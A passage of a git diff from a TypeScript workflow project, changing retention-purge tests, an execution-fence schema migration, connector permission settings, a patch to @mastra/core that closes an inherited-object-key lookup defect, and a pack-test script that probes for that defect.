-    expect(surfaces.some((line) => line.includes('retention-purge'))).toBe(
-      true,
-    );
+    expect(
+      surfaces.some(
+        (line) =>
+          line.includes('retention-purge') &&
+          line.includes('snapshot table down'),
+      ),
+    ).toBe(true);
     errorSpy.mockRestore();
   });
 
   it('purges DECIDED approvals and snapshots in the same purge-duty alarm', async () => {
     // #given — an old decided (approved) approval, a fresh decided
     // (rejected) approval, and an old but still-OPEN approval (never
-    // purged at any age). RUN_RETENTION_DAYS is unset (fallback default);
+    // purged at any age), beside a stale and a fresh terminal snapshot row.
+    // RUN_RETENTION_DAYS is unset (fallback default);
     // APPROVAL_RETENTION_DAYS is deliberately invalid: numberVar must log
     // the config error and fall back to 30 days rather than skip the purge.
-    const { env, d1 } = makeEnv({ APPROVAL_RETENTION_DAYS: '-5' });
+    const { env, sqlite, d1 } = makeEnv({ APPROVAL_RETENTION_DAYS: '-5' });
     const store = new D1ApprovalStoreFactory(d1 as never).store();
     const old = new Date(Date.now() - 40 * DAY_MS).toISOString();
     const fresh = new Date(Date.now() - 1 * DAY_MS).toISOString();
+    createSnapshotTable(sqlite);
+    seedRun(sqlite, {
+      runId: 'acme_stale-done',
+      status: 'success',
+      updatedAt: Date.now() - 40 * DAY_MS,
+    });
+    seedRun(sqlite, {
+      runId: 'acme_fresh-done',
+      status: 'success',
+      updatedAt: Date.now() - 1 * DAY_MS,
+    });
     await store.create({
       id: 'apr-old-decided',
       workflowId: 'example-approval',
@@ -990,6 +1045,10 @@ describe('deploy worker alarm-owned maintenance duties', () => {
     expect(await store.get('apr-old-decided')).toBeNull();
     expect(await store.get('apr-fresh-decided')).not.toBeNull();
     expect(await store.get('apr-old-open')).not.toBeNull();
+    // ...and the SAME alarm reclaimed the stale terminal snapshot under the
+    // fallback 30-day run TTL, which is what "in the same purge-duty alarm"
+    // claims of the two surfaces
+    expect(remainingRunIds(sqlite)).toEqual(['acme_fresh-done']);
     // ...and the invalid var was surfaced as the operator's tripwire (same
     // convention as RUN_RETENTION_DAYS's config-error test above)
     expect(
@@ -1004,6 +1063,31 @@ describe('deploy worker alarm-owned maintenance duties', () => {
     errorSpy.mockRestore();
   });
 
+  it('gives each maintenance invocation its own retention cursor', async () => {
+    // #given — a stale terminal snapshot for the purge to reclaim, and two
+    // independent contexts from retentionContext()
+    const { env, sqlite } = makeEnv();
+    createSnapshotTable(sqlite);
+    seedRun(sqlite, {
+      runId: 'acme_stale-done',
+      status: 'success',
+      updatedAt: Date.now() - 40 * DAY_MS,
+    });
+    const driven = retentionContext();
+    const sibling = retentionContext();
+    expect(driven.retentionCursor).toBeUndefined();
+    expect(sibling.retentionCursor).toBeUndefined();
+
+    // #when — one purge duty runs on the first context
+    await maintenanceWorker.runMaintenanceDuty('purge', env, driven);
+
+    // #then — the purge advanced a cursor, it is readable on the context that
+    // duty was given, and it reached no other.
+    expect(remainingRunIds(sqlite)).toEqual([]);
+    expect(driven.retentionCursor).toMatchObject({ version: 1 });
+    expect(sibling.retentionCursor).toBeUndefined();
+  });
+
   it('an approval-purge failure does not stop the snapshot retention purge (isolated surfaces)', async () => {
     // #given — every approvals-table statement throws; a stale terminal
     // snapshot is still eligible
@@ -1043,7 +1127,11 @@ describe('deploy worker alarm-owned maintenance duties', () => {
       .map(([line]) => String(line))
       .filter((line) => line.includes('maintenance-error'));
     expect(
-      surfaces.some((line) => line.includes('approval-retention-purge')),
+      surfaces.some(
+        (line) =>
+          line.includes('approval-retention-purge') &&
+          line.includes('approval store down'),
+      ),
     ).toBe(true);
     errorSpy.mockRestore();
   });
@@ -1102,7 +1190,11 @@ describe('createFlowsafeWorker artifact-paired retention purge (F4)', () => {
     };
 
     // #when — the PURGE duty runs
-    await workerWith(() => artifactStore).runMaintenanceDuty('purge', env);
+    await workerWith(() => artifactStore).runMaintenanceDuty(
+      'purge',
+      env,
+      retentionContext(),
+    );
 
     // #then — the stale run's artifacts were deleted (while its row still
     // existed), then its row was purged; the fresh run is untouched
@@ -1140,8 +1232,8 @@ describe('createFlowsafeWorker artifact-paired retention purge (F4)', () => {
     );
     const worker = workerWith<ArtifactEnv>(artifactStore);
 
-    await worker.runMaintenanceDuty('purge', firstEnv);
-    await worker.runMaintenanceDuty('purge', secondEnv);
+    await worker.runMaintenanceDuty('purge', firstEnv, retentionContext());
+    await worker.runMaintenanceDuty('purge', secondEnv, retentionContext());
 
     expect(artifactStore).toHaveBeenNthCalledWith(1, firstEnv);
     expect(artifactStore).toHaveBeenNthCalledWith(2, secondEnv);
@@ -1179,7 +1271,7 @@ describe('createFlowsafeWorker artifact-paired retention purge (F4)', () => {
     const outcome = await workerWith(
       artifactStore,
       extraPurgeDuty,
-    ).runMaintenanceDuty('purge', env);
+    ).runMaintenanceDuty('purge', env, retentionContext());
 
     expect(outcome).toMatchObject({ ok: false });
     expect(remainingRunIds(sqlite)).toEqual(['acme_stale-done']);
@@ -1202,7 +1294,11 @@ describe('createFlowsafeWorker artifact-paired retention purge (F4)', () => {
     });
 
     // #when
-    await workerWith(undefined).runMaintenanceDuty('purge', env);
+    await workerWith(undefined).runMaintenanceDuty(
+      'purge',
+      env,
+      retentionContext(),
+    );
 
     // #then — byte-identical row-only outcome
     expect(remainingRunIds(sqlite)).toEqual(['acme_fresh-done']);
@@ -1217,7 +1313,11 @@ describe('createFlowsafeWorker artifact-paired retention purge (F4)', () => {
       updatedAt: Date.now() - 40 * DAY_MS,
     });
 
-    await workerWith(() => undefined).runMaintenanceDuty('purge', env);
+    await workerWith(() => undefined).runMaintenanceDuty(
+      'purge',
+      env,
+      retentionContext(),
+    );
 
     expect(remainingRunIds(sqlite)).toEqual([]);
   });
diff --git a/packages/flowsafe/deploy/worker.ts b/packages/flowsafe/deploy/worker.ts
index acf89aa4..60129315 100644
--- a/packages/flowsafe/deploy/worker.ts
+++ b/packages/flowsafe/deploy/worker.ts
@@ -192,7 +192,17 @@ function defineWorkflows(env: Env): RunnerRuntime {
     description: 'Publishes the approved example topic',
     inputSchema: z.object({ topic: z.string() }),
     outputSchema: z.object({ published: z.boolean() }),
-    permissions: { sideEffect: 'write', requiresApproval: true },
+    permissions: {
+      sideEffect: 'write',
+      requiresApproval: true,
+      // A connector a host copies into a deployment states the posture it runs
+      // under, and this template is that copy. A fixture whose subject is
+      // something else omits the field and takes connectorEgressPosture's
+      // 'declaration-only' default instead. The line is what the connector
+      // stands for, not production versus test — examples/gtm-outbound.e2e.test.ts
+      // declares it from a test file for the same reason.
+      egressEnforcement: 'enforced',
+    },
     execute: async () => ({ published: true }),
   });
 
diff --git a/packages/flowsafe/deployment-identity-protocol.d.mts b/packages/flowsafe/deployment-identity-protocol.d.mts
index ac830e28..bdb91f98 100644
--- a/packages/flowsafe/deployment-identity-protocol.d.mts
+++ b/packages/flowsafe/deployment-identity-protocol.d.mts
@@ -33,6 +33,7 @@ export const DEPLOYMENT_SENTINEL_COLUMNS: readonly Readonly<{
 export const EXECUTION_FENCE_TABLE: 'flowsafe_execution_fence';
 /** The fence row's fixed primary key — one deployment, one database, one row. */
 export const EXECUTION_FENCE_ROW_ID: 'deployment';
+export const EXECUTION_FENCE_CURRENT_SCHEMA_STAGE: 7;
 /** Every fence state, ordered from most to least permissive. */
 export const EXECUTION_FENCE_STATES: readonly [
   'open',
@@ -46,12 +47,36 @@ export const INITIAL_EXECUTION_FENCE_STATES: readonly [
   'migration-locked',
 ];
 /**
- * The fence table's schema. `do-runner/execution-fence.ts` issues this exact
- * string, so the store and the provisioning protocol cannot create differently
- * shaped tables.
+ * The current fence schema. Runtime and provisioning initialize the legacy
+ * singleton before adding its metadata columns through the shared protocol.
  */
 export const EXECUTION_FENCE_DDL: string;
 
+export type ExecutionFenceSchemaStage = 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7;
+export interface ExecutionFenceMutationMetadata {
+  readonly mutationEpoch: number;
+  readonly requireMutationEpoch: boolean;
+  readonly transitionRevision: number;
+  readonly lastTransitionRequest: string | null;
+  readonly schemaStage: ExecutionFenceSchemaStage;
+  readonly proofTablePrefix: string | null;
+  readonly proofWorkflowId: string | null;
+  readonly proofStartToken: string | null;
+}
+export function readExecutionFenceSchemaProtocol(
+  execute: DeploymentIdentityProtocolExecutor,
+): Promise<ExecutionFenceSchemaStage | undefined>;
+export function decodeExecutionFenceMutationMetadata(
+  row: DeploymentIdentityProtocolRow,
+): ExecutionFenceMutationMetadata;
+export function initializeExecutionFenceProtocol(
+  execute: DeploymentIdentityProtocolExecutor,
+  options: {
+    state: (typeof EXECUTION_FENCE_STATES)[number];
+    seededAt: number;
+  },
+): Promise<void>;
+
 /** The fence state a deployment is provisioned into. Required; no default. */
 export type InitialExecutionFenceState =
   (typeof INITIAL_EXECUTION_FENCE_STATES)[number];
diff --git a/packages/flowsafe/deployment-identity-protocol.mjs b/packages/flowsafe/deployment-identity-protocol.mjs
index 054d584b..90b34157 100644
--- a/packages/flowsafe/deployment-identity-protocol.mjs
+++ b/packages/flowsafe/deployment-identity-protocol.mjs
@@ -51,6 +51,7 @@ export const EXECUTION_FENCE_TABLE = 'flowsafe_execution_fence';
  * a constant.
  */
 export const EXECUTION_FENCE_ROW_ID = 'deployment';
+export const EXECUTION_FENCE_CURRENT_SCHEMA_STAGE = 7;
 
 /** Every fence state, ordered from most to least permissive. */
 export const EXECUTION_FENCE_STATES = Object.freeze([
@@ -71,12 +72,45 @@ export const INITIAL_EXECUTION_FENCE_STATES = Object.freeze([
   'migration-locked',
 ]);
 
-export const EXECUTION_FENCE_DDL = `CREATE TABLE IF NOT EXISTS ${EXECUTION_FENCE_TABLE} (
+const EXECUTION_FENCE_BASE_COLUMNS = `
     id TEXT PRIMARY KEY CHECK (id = '${EXECUTION_FENCE_ROW_ID}'),
     state TEXT NOT NULL CHECK (state IN (${EXECUTION_FENCE_STATES.map((state) => `'${state}'`).join(', ')})),
     proof_key TEXT,
     proof_run_id TEXT,
-    updated_at INTEGER NOT NULL
+    updated_at INTEGER NOT NULL`;
+const EXECUTION_FENCE_ADDITIONS = Object.freeze([
+  'last_transition_request TEXT',
+  `transition_revision INTEGER NOT NULL DEFAULT 0
+    CHECK (typeof(transition_revision) = 'integer'
+      AND transition_revision BETWEEN 0 AND 9007199254740991)`,
+  `mutation_epoch INTEGER NOT NULL DEFAULT 0
+    CHECK (typeof(mutation_epoch) = 'integer'
+      AND mutation_epoch BETWEEN 0 AND 9007199254740991)`,
+  `require_mutation_epoch INTEGER NOT NULL DEFAULT 0
+    CHECK (typeof(require_mutation_epoch) = 'integer'
+      AND require_mutation_epoch IN (0, 1))`,
+  'proof_table_prefix TEXT',
+  'proof_workflow_id TEXT',
+  'proof_start_token TEXT',
+]);
+const EXECUTION_FENCE_COLUMNS = Object.freeze([
+  ['id', 'TEXT', 0, 1, null],
+  ['state', 'TEXT', 1, 0, null],
+  ['proof_key', 'TEXT', 0, 0, null],
+  ['proof_run_id', 'TEXT', 0, 0, null],
+  ['updated_at', 'INTEGER', 1, 0, null],
+  ['last_transition_request', 'TEXT', 0, 0, null],
+  ['transition_revision', 'INTEGER', 1, 0, '0'],
+  ['mutation_epoch', 'INTEGER', 1, 0, '0'],
+  ['require_mutation_epoch', 'INTEGER', 1, 0, '0'],
+  ['proof_table_prefix', 'TEXT', 0, 0, null],
+  ['proof_workflow_id', 'TEXT', 0, 0, null],
+  ['proof_start_token', 'TEXT', 0, 0, null],
+]);
+const EXECUTION_FENCE_BOOTSTRAP_DDL = `CREATE TABLE IF NOT EXISTS ${EXECUTION_FENCE_TABLE} (${EXECUTION_FENCE_BASE_COLUMNS}
+  )`;
+export const EXECUTION_FENCE_DDL = `CREATE TABLE IF NOT EXISTS ${EXECUTION_FENCE_TABLE} (${EXECUTION_FENCE_BASE_COLUMNS},
+    ${EXECUTION_FENCE_ADDITIONS.join(',\n    ')}
   )`;
 
 const SENTINEL_SQL_PATTERN =
@@ -132,7 +166,7 @@ const CREATE_SENTINEL = Object.freeze({
 });
 const CREATE_EXECUTION_FENCE = Object.freeze({
   mode: 'write',
-  sql: EXECUTION_FENCE_DDL,
+  sql: EXECUTION_FENCE_BOOTSTRAP_DDL,
   bindings: Object.freeze([]),
 });
 
@@ -279,7 +313,12 @@ function seedExecutionFenceRow(state, seededAt) {
     mode: 'write',
     sql: `INSERT OR IGNORE INTO ${EXECUTION_FENCE_TABLE}
        (id, state, proof_key, proof_run_id, updated_at)
-     VALUES (?, ?, NULL, NULL, ?)`,
+     SELECT ?, ?, NULL, NULL, ?
+     WHERE NOT EXISTS (
+       SELECT 1 FROM pragma_table_xinfo('${EXECUTION_FENCE_TABLE}')
+       WHERE name IN ('last_transition_request', 'transition_revision',
+         'mutation_epoch', 'require_mutation_epoch')
+     )`,
     // INSERT OR IGNORE, never an upsert: seeding runs on every provisioning
     // pass, and a re-provision of a LIVE deployment must not silently reopen a
     // fence an operator closed.
@@ -293,20 +332,226 @@ function seedExecutionFenceRow(state, seededAt) {
   };
 }
 
-/**
- * Write the deployment's initial fence row, if it has none.
- *
- * Two statements rather than one request: every executor this protocol is
- * driven through — the runtime's `db.prepare()`, the CLI's
- * `wrangler d1 execute --command`, and both fleet-control backends' REST
- * `/query` with bound parameters — carries exactly ONE statement per call, so
- * there is no seam here through which a batch could be sent. The DDL therefore
- * runs first and the row second; a crash between them leaves an empty fence
- * table, which reads as `open` and is healed by the next invocation.
- */
-async function seedExecutionFence(execute, state, seededAt) {
-  await execute(CREATE_EXECUTION_FENCE);
-  await execute(seedExecutionFenceRow(state, seededAt));
+function malformedExecutionFence(reason) {
+  return new DeploymentIdentityError(
+    `${EXECUTION_FENCE_TABLE} has an invalid execution-fence schema (${reason})`,
+  );
+}
+
+export async function readExecutionFenceSchemaProtocol(execute) {
+  const columns = await execute({
+    mode: 'read',
+    sql: `PRAGMA table_xinfo(${EXECUTION_FENCE_TABLE})`,
+    bindings: [],
+  });
+  if (!Array.isArray(columns)) {
+    throw malformedExecutionFence('column metadata is not an array');
+  }
+  if (columns.length === 0) return undefined;
+  if (columns.length < 5 || columns.length > EXECUTION_FENCE_COLUMNS.length) {
+    throw malformedExecutionFence('unexpected columns');
+  }
+  for (let index = 0; index < columns.length; index += 1) {
+    const actual = columns[index];
+    const [name, type, notnull, pk, defaultValue] =
+      EXECUTION_FENCE_COLUMNS[index];
+    if (
+      rowField(actual, 'name') !== name ||
+      rowField(actual, 'type') !== type ||
+      rowField(actual, 'notnull') !== notnull ||
+      rowField(actual, 'pk') !== pk ||
+      rowField(actual, 'dflt_value') !== defaultValue ||
+      rowField(actual, 'hidden') !== 0
+    ) {
+      throw malformedExecutionFence(`column ${name} differs`);
+    }
+  }
+  return columns.length - 5;
+}
+
+export function decodeExecutionFenceMutationMetadata(row) {
+  if (row === null || typeof row !== 'object' || Array.isArray(row)) {
+    throw malformedExecutionFence('row is not an object');
+  }
+  let stage = 0;
+  let missing = false;
+  for (const [name] of EXECUTION_FENCE_COLUMNS.slice(5)) {
+    if (Object.hasOwn(row, name)) {
+      if (missing) throw malformedExecutionFence('metadata prefix has a hole');
+      stage += 1;
+    } else {
+      missing = true;
+    }
+  }
+  const receipt = row.last_transition_request;
+  const revision = row.transition_revision;
+  const epoch = row.mutation_epoch;
+  const required = row.require_mutation_epoch;
+  const proofNames = [
+    'proof_table_prefix',
+    'proof_workflow_id',
+    'proof_start_token',
+  ];
+  const proofValues = proofNames.map((name) =>
+    Object.hasOwn(row, name) ? row[name] : null,
+  );
+  if (
+    stage < EXECUTION_FENCE_CURRENT_SCHEMA_STAGE &&
+    proofValues.some((value) => value !== null)
+  ) {
+    throw malformedExecutionFence('partial proof identity is not null');
+  }
+  if (
+    proofValues.some((value) => value !== null) &&
+    (proofValues.some((value) => typeof value !== 'string') ||
+      row.state !== 'proof-only' ||
+      typeof row.proof_key !== 'string' ||
+      row.proof_key.length === 0 ||
+      typeof row.proof_run_id !== 'string' ||
+      row.proof_run_id.length === 0)
+  ) {
+    throw malformedExecutionFence('proof identity is inconsistent');
+  }
+  const proofMetadata = {
+    proofTablePrefix: proofValues[0],
+    proofWorkflowId: proofValues[1],
+    proofStartToken: proofValues[2],
+  };
+  if (stage < 4) {
+    if (
+      (stage >= 1 && receipt !== null) ||
+      (stage >= 2 && revision !== 0) ||
+      (stage >= 3 && epoch !== 0)
+    ) {
+      throw malformedExecutionFence(
+        'partial metadata is not optional defaults',
+      );
+    }
+    return {
+      mutationEpoch: 0,
+      requireMutationEpoch: false,
+      transitionRevision: 0,
+      lastTransitionRequest: null,
+      schemaStage: stage,
+      ...proofMetadata,
+    };
+  }
+  if (
+    !Number.isSafeInteger(epoch) ||
+    epoch < 0 ||
+    !Number.isSafeInteger(revision) ||
+    revision < 0 ||
+    (required !== 0 && required !== 1) ||
+    (required === 1) !== epoch > 0 ||
+    (receipt !== null &&
+      (typeof receipt !== 'string' || receipt.length > 512)) ||
+    (revision === 0 && receipt !== null) ||
+    (required === 1 && (receipt === null || revision === 0))
+  ) {
+    throw malformedExecutionFence('mutation metadata is inconsistent');
+  }
+  return {
+    mutationEpoch: epoch,
+    requireMutationEpoch: required === 1,
+    transitionRevision: revision,
+    lastTransitionRequest: receipt,
+    schemaStage: stage,
+    ...proofMetadata,
+  };
+}
+
+async function observeExecutionFence(execute, allowLegacyEmpty) {
+  let minimumStage = 0;
+  for (let attempt = 0; attempt < 2; attempt += 1) {
+    const rows = await execute({
+      mode: 'read',
+      sql: `SELECT * FROM ${EXECUTION_FENCE_TABLE} LIMIT 2`,
+      bindings: [],
+    });
+    const stage = await readExecutionFenceSchemaProtocol(execute);
+    if (!Array.isArray(rows) || stage === undefined || stage < minimumStage) {
+      throw malformedExecutionFence('row observation has no compatible schema');
+    }
+    if (rows.length === 0 && attempt === 0) {
+      if (stage === 0 && allowLegacyEmpty) return { stage, empty: true };
+      if (stage > 0) {
+        minimumStage = stage;
+        continue;
+      }
+    }
+    if (
+      rows.length !== 1 ||
+      rowField(rows[0], 'id') !== EXECUTION_FENCE_ROW_ID ||
+      !EXECUTION_FENCE_STATES.includes(rowField(rows[0], 'state'))
+    ) {
+      throw malformedExecutionFence('fence row is not a recognized singleton');
+    }
+    const metadata = decodeExecutionFenceMutationMetadata(rows[0]);
+    if (metadata.schemaStage > stage) {
+      throw malformedExecutionFence('schema observation precedes row metadata');
+    }
+    return { stage, empty: false, rowStage: metadata.schemaStage };
+  }
+  throw malformedExecutionFence('fence row is missing');
+}
+
+export async function initializeExecutionFenceProtocol(
+  execute,
+  { state, seededAt },
+) {
+  if (!EXECUTION_FENCE_STATES.includes(state)) {
+    throw malformedExecutionFence('initial state is unrecognized');
+  }
+  if (!Number.isSafeInteger(seededAt) || seededAt < 0) {
+    throw malformedExecutionFence('seed timestamp is invalid');
+  }
+  if ((await readExecutionFenceSchemaProtocol(execute)) === undefined) {
+    await execute(CREATE_EXECUTION_FENCE);
+    if ((await readExecutionFenceSchemaProtocol(execute)) === undefined) {
+      throw malformedExecutionFence('bootstrap did not create the table');
+    }
+  }
+  let observation = await observeExecutionFence(execute, true);
+  if (observation.empty) {
+    await execute(seedExecutionFenceRow(state, seededAt));
+    observation = await observeExecutionFence(execute, false);
+  }
+  for (
+    let index = observation.stage;
+    index < EXECUTION_FENCE_CURRENT_SCHEMA_STAGE;
+    index += 1
+  ) {
+    const stage = await readExecutionFenceSchemaProtocol(execute);
+    if (stage === undefined || stage < index) {
+      throw malformedExecutionFence('schema regressed during initialization');
+    }
+    if (stage > index) continue;
+    try {
+      await execute({
+        mode: 'write',
+        sql: `ALTER TABLE ${EXECUTION_FENCE_TABLE} ADD COLUMN ${EXECUTION_FENCE_ADDITIONS[index]}`,
+        bindings: [],
+      });
+    } catch (error) {
+      let observedStage;
+      try {
+        observedStage = await readExecutionFenceSchemaProtocol(execute);
+      } catch (readError) {
+        if (readError instanceof DeploymentIdentityError) throw readError;
+        throw error;
+      }
+      if (observedStage === undefined || observedStage <= index) throw error;
+    }
+  }
+  const final = await observeExecutionFence(execute, false);
+  if (
+    final.stage !== EXECUTION_FENCE_CURRENT_SCHEMA_STAGE ||
+    final.rowStage !== EXECUTION_FENCE_CURRENT_SCHEMA_STAGE
+  ) {
+    throw malformedExecutionFence(
+      'initialization did not reach the current schema',
+    );
+  }
 }
 
 async function scanTables(execute) {
@@ -380,7 +625,10 @@ export async function provisionDeploymentIdentityProtocol(
     // residue, on the one deployment a migration most needs to be able to lock.
     // Seeding here is what heals it, and INSERT-if-absent is what makes
     // repeating it safe on a deployment whose fence has since been moved.
-    await seedExecutionFence(execute, fenceState, seededAt);
+    await initializeExecutionFenceProtocol(execute, {
+      state: fenceState,
+      seededAt,
+    });
     return;
   }
   if (applicationTables.length > 0) {
@@ -393,7 +641,10 @@ export async function provisionDeploymentIdentityProtocol(
     if (storedAfterCreate !== tag) {
       throw differentOwnerError(caller, storedAfterCreate, tag);
     }
-    await seedExecutionFence(execute, fenceState, seededAt);
+    await initializeExecutionFenceProtocol(execute, {
+      state: fenceState,
+      seededAt,
+    });
     return;
   }
 
@@ -423,5 +674,8 @@ export async function provisionDeploymentIdentityProtocol(
   // PROVEN keeps it out of the window where `unownedDatabaseError` and the
   // conditional ownership insert are still deciding whether this database is
   // ours to write to at all.
-  await seedExecutionFence(execute, fenceState, seededAt);
+  await initializeExecutionFenceProtocol(execute, {
+    state: fenceState,
+    seededAt,
+  });
 }
diff --git a/packages/flowsafe/examples/CLAUDE.md b/packages/flowsafe/examples/CLAUDE.md
deleted file mode 100644
index 2d3e790c..00000000
--- a/packages/flowsafe/examples/CLAUDE.md
+++ /dev/null
@@ -1,7 +0,0 @@
-# Runnable example navigation
-
-- `gtm-outbound.e2e.test.ts`: executable approval and connector example
-
-```bash
-pnpm --filter @proofoftech/flowsafe example:gtm
-```
diff --git a/packages/flowsafe/examples/gtm-outbound.e2e.test.ts b/packages/flowsafe/examples/gtm-outbound.e2e.test.ts
index 9df05cf2..319e3531 100644
--- a/packages/flowsafe/examples/gtm-outbound.e2e.test.ts
+++ b/packages/flowsafe/examples/gtm-outbound.e2e.test.ts
@@ -70,7 +70,11 @@ function buildHarness(): Harness {
     description: 'Sends the approved outreach batch',
     inputSchema: z.object({ count: z.number() }),
     outputSchema: z.object({ sent: z.boolean() }),
-    permissions: { sideEffect: 'write', requiresApproval: true },
+    permissions: {
+      sideEffect: 'write',
+      requiresApproval: true,
+      egressEnforcement: 'enforced',
+    },
     policies: { audit },
     execute: async () => {
       sends += 1;
diff --git a/packages/flowsafe/package.json b/packages/flowsafe/package.json
index bdad9734..21189f0a 100644
--- a/packages/flowsafe/package.json
+++ b/packages/flowsafe/package.json
@@ -6,6 +6,7 @@
   },
   "files": [
     "dist",
+    "patches/@mastra__core@1.53.0.patch",
     "deployment-identity-protocol.d.mts",
     "deployment-identity-protocol.mjs",
     "scripts/seed-deployment-identity.mjs",
@@ -47,6 +48,8 @@
     "./artifacts": "./dist/artifacts/index.js",
     "./audit-export": "./dist/audit-export/index.js",
     "./do-runner": "./dist/do-runner/index.js",
+    "./do-runner/constants": "./dist/do-runner/constants.js",
+    "./do-runner/testing": "./dist/do-runner/testing.js",
     "./goals": "./dist/goals/index.js",
     "./host-kit": "./dist/host-kit/index.js",
     "./host-kit/module": "./dist/host-kit/module.js",
@@ -67,6 +70,7 @@
     "dev": "tsc --watch",
     "test": "vitest run",
     "test:agent-host-export": "node scripts/agent-host-pack-test.mjs",
+    "test:packed-surface": "node scripts/agent-host-pack-test.mjs",
     "test:provisioning-export": "node scripts/provisioning-pack-test.mjs",
     "test:signals-client-export": "node scripts/signals-client-pack-test.mjs",
     "test:watch": "vitest",
@@ -113,7 +117,6 @@
     "types-react-dom-18": "npm:@types/react-dom@^18.3.7",
     "typescript": "^5.6",
     "vitest": "^4.1.8",
-    "wrangler": "4.118.0",
     "zod": "4.4.3"
   },
   "keywords": [
diff --git a/packages/flowsafe/patches/@mastra__core@1.53.0.patch b/packages/flowsafe/patches/@mastra__core@1.53.0.patch
new file mode 100644
index 00000000..df500543
--- /dev/null
+++ b/packages/flowsafe/patches/@mastra__core@1.53.0.patch
@@ -0,0 +1,54 @@
+diff --git a/dist/chunk-3S5BFAEP.js b/dist/chunk-3S5BFAEP.js
+index e8a966d17d01088e9543c4fd21b7bb3895ebecc5..bb78899892e4c5ed81c7035757ab69610851b353 100644
+--- a/dist/chunk-3S5BFAEP.js
++++ b/dist/chunk-3S5BFAEP.js
+@@ -33054,7 +33054,8 @@ async function resolveNotificationDeliveryDecision({
+ }) {
+   const custom = await config?.decide?.(input);
+   if (custom) return normalizeDecision(custom);
+-  const sourceDecision = config?.sources?.[input.record.source];
++  const sources = config?.sources;
++  const sourceDecision = sources && Object.hasOwn(sources, input.record.source) ? sources[input.record.source] : void 0;
+   if (sourceDecision) return normalizeDecision(sourceDecision);
+   const priorityDecision = config?.priorities?.[input.record.priority];
+   if (priorityDecision) return normalizeDecision(priorityDecision);
+diff --git a/dist/chunk-ODHD3TLJ.cjs b/dist/chunk-ODHD3TLJ.cjs
+index dad0cd85b2523564c8ca047a815b02f7524368ab..36c9710ca0439f19371efa0be7ef56deb18de906 100644
+--- a/dist/chunk-ODHD3TLJ.cjs
++++ b/dist/chunk-ODHD3TLJ.cjs
+@@ -33085,7 +33085,8 @@ async function resolveNotificationDeliveryDecision({
+ }) {
+   const custom = await config?.decide?.(input);
+   if (custom) return normalizeDecision(custom);
+-  const sourceDecision = config?.sources?.[input.record.source];
++  const sources = config?.sources;
++  const sourceDecision = sources && Object.hasOwn(sources, input.record.source) ? sources[input.record.source] : void 0;
+   if (sourceDecision) return normalizeDecision(sourceDecision);
+   const priorityDecision = config?.priorities?.[input.record.priority];
+   if (priorityDecision) return normalizeDecision(priorityDecision);
+diff --git a/dist/chunk-P4Y2BJL7.js b/dist/chunk-P4Y2BJL7.js
+index ed31bf020572e5c9c3abf7ca8deb9eb144804e0c..a0837c451f857d417c9b11c9cd6aeaadf2eec040 100644
+--- a/dist/chunk-P4Y2BJL7.js
++++ b/dist/chunk-P4Y2BJL7.js
+@@ -7558,7 +7558,7 @@ function summarizeNotifications(notifications) {
+       resourceId: first?.resourceId,
+       agentId: first?.agentId,
+       pending: 0,
+-      bySource: {},
++      bySource: Object.create(null),
+       byPriority: {},
+       notificationIds: []
+     }
+diff --git a/dist/chunk-XAQAI6CU.cjs b/dist/chunk-XAQAI6CU.cjs
+index 2762c17e2dcd8f0ecb35546d2c5b7ae9cf0ce568..0f4975961abe081d0bd3ff7303d4f50046bee23f 100644
+--- a/dist/chunk-XAQAI6CU.cjs
++++ b/dist/chunk-XAQAI6CU.cjs
+@@ -7560,7 +7560,7 @@ function summarizeNotifications(notifications) {
+       resourceId: first?.resourceId,
+       agentId: first?.agentId,
+       pending: 0,
+-      bySource: {},
++      bySource: Object.create(null),
+       byPriority: {},
+       notificationIds: []
+     }
diff --git a/packages/flowsafe/scripts/agent-host-pack-test.mjs b/packages/flowsafe/scripts/agent-host-pack-test.mjs
index 907a4932..d2388783 100644
--- a/packages/flowsafe/scripts/agent-host-pack-test.mjs
+++ b/packages/flowsafe/scripts/agent-host-pack-test.mjs
@@ -1,6 +1,12 @@
+// Packs flowsafe and breakwater and proves the published surface against clean
+// consumers. It installs an ordinary consumer that keeps the unpatched
+// @mastra/core and a consumer that applies the patch this package ships
+// through pnpm patchedDependencies.
 import assert from 'node:assert/strict';
-import { execFileSync } from 'node:child_process';
+import { execFileSync, spawnSync } from 'node:child_process';
 import {
+  copyFileSync,
+  cpSync,
   existsSync,
   mkdirSync,
   mkdtempSync,
@@ -8,12 +14,15 @@ import {
   readFileSync,
   realpathSync,
   rmSync,
+  symlinkSync,
   writeFileSync,
 } from 'node:fs';
 import { createRequire } from 'node:module';
 import { tmpdir } from 'node:os';
 import { dirname, join, resolve } from 'node:path';
-import { fileURLToPath } from 'node:url';
+import { fileURLToPath, pathToFileURL } from 'node:url';
+import { ModuleKind, ScriptTarget, transpile } from 'typescript';
+import { parse as parseYaml } from 'yaml';
 import { assertAttwEsmPackage } from './attw-pack-check.mjs';
 
 const packageRoot = resolve(dirname(fileURLToPath(import.meta.url)), '..');
@@ -28,6 +37,258 @@ function run(command, args, cwd = packageRoot) {
   });
 }
 
+// Both consumers run this identical script, so their probe results are
+// comparable: the ordinary one keeps @mastra/core's inherited-source-key
+// defect, the patched one does not.
+const SOURCE_KEY_PROBE = `import {
+  resolveNotificationDeliveryDecision,
+  summarizeNotifications,
+} from '@mastra/core/notifications';
+
+const record = (source) => ({
+  id: 'n',
+  threadId: 't',
+  source,
+  kind: 'k',
+  priority: 'low',
+  status: 'pending',
+  summary: 's',
+  createdAt: new Date(0),
+  updatedAt: new Date(0),
+});
+const config = { sources: {}, default: 'discard' };
+const decide = (source) =>
+  resolveNotificationDeliveryDecision({
+    config,
+    record: record(source),
+    threadState: 'idle',
+    now: new Date(0),
+  });
+
+console.log(
+  JSON.stringify({
+    bySourceType: typeof summarizeNotifications([record('constructor')])
+      .bySource.constructor,
+    ordinary: (await decide('ordinary')).action ?? null,
+    colliding: (await decide('constructor')).action ?? null,
+  }),
+);
+`;
+
+/** The ordinary consumer keeps @mastra/core's inherited-source-key defect. */
+function assertUnpatchedConsumerDefect(consumer) {
+  writeFileSync(join(consumer, 'source-key-probe.mjs'), SOURCE_KEY_PROBE);
+  const unpatchedProbe = JSON.parse(
+    execFileSync(process.execPath, ['source-key-probe.mjs'], {
+      cwd: consumer,
+      encoding: 'utf8',
+      stdio: 'pipe',
+    }),
+  );
+  // Unpatched, the source map resolves Object.prototype.constructor, and
+  // normalizeDecision hands that function back as the decision, so it carries
+  // no action at all.
+  assert.deepEqual(unpatchedProbe, {
+    bySourceType: 'string',
+    ordinary: 'discard',
+    colliding: null,
+  });
+}
+
+/**
